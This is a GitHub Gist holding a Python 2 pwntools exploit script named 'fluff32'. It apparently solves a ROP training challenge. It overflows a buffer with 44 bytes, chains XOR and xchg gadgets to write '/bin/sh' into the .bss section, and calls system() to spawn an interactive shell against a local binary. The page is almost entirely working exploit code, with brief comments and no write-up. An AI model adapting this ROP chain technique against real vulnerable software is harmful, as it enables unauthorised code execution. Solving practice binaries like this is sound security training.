Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
fluff32
#!/usr/bin/env python
from pwn import *
context(os="linux", arch="i386")
# context.log_level = 'debug'
def main():
conn = process("./fluff32")
system = 0x8048430
bss_addr = 0x804a040 + 0x10
pop_ebx = 0x080483e1 # pop ebx ; ret
xor_edx_edx = 0x8048671 # xor edx,edx
# pop esi
# mov ebp,0xcafebabe
# ret
xor_edx_ebx = 0x804867b # xor edx,ebx
# pop ebp
# mov edi,0xdeadbabe
# ret
xchg_edx_ecx = 0x8048689 # xchg edx,ecx
# pop ebp
# mov edx,0xdefaced0
# ret
mov_ecx_edx = 0x8048692 # pop edi
# mov DWORD PTR [ecx],edx
# pop ebp
# pop ebx
# xor BYTE PTR [ecx],bl
# ret
# ROP Chain
payload = ""
payload += "A" * 44
# make bss_addr
payload += p32(pop_ebx) # ebx = bss_addr
payload += p32(bss_addr)
payload += p32(xor_edx_edx) # edx = 0
payload += "A" * 4 # padding
payload += p32(xor_edx_ebx) # edx ^ ebx (edx = ebx)
payload += "A" * 4 # padding
payload += p32(xchg_edx_ecx)
payload += "A" * 4 # padding
# make /bin
payload += p32(pop_ebx) # ebx = /bin
payload += "/bin"
payload += p32(xor_edx_edx) # edx = 0
payload += "A" * 4 # padding
payload += p32(xor_edx_ebx) # edx ^ ebx (edx = ebx)
payload += "A" * 4 # padding
# insert
payload += p32(mov_ecx_edx) # ecx(bss_addr) = edx(/bin)
payload += "A" * 4 # padding
payload += "A" * 4 # padding
payload += p32(0x00) # ebx is 0 because extra instruction(xor BYTE PTR [ecx], bl)
# make bss_addr
payload += p32(pop_ebx) # ebx = bss_addr
payload += p32(bss_addr + 4)
payload += p32(xor_edx_edx) # edx = 0
payload += "A" * 4 # padding
payload += p32(xor_edx_ebx) # edx ^ ebx (edx = ebx)
payload += "A" * 4 # padding
payload += p32(xchg_edx_ecx)
payload += "A" * 4 # padding
# make /sh\x00
payload += p32(pop_ebx) # ebx = /bin
payload += "/sh\x00"
payload += p32(xor_edx_edx) # edx = 0
payload += "A" * 4 # padding
payload += p32(xor_edx_ebx) # edx ^ ebx (edx = ebx)
payload += "A" * 4 # padding
# insert
payload += p32(mov_ecx_edx) # ecx(bss_addr) = edx(/sh\x00)
payload += "A" * 4 # padding
payload += "A" * 4 # padding
payload += p32(0x00) # ebx is 0 because extra instruction(xor BYTE PTR [ecx], bl)
# system
payload += p32(system)
payload += "A" * 4 # padding
payload += p32(bss_addr) # buffer
print conn.recv(100)
conn.send(payload)
conn.interactive()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.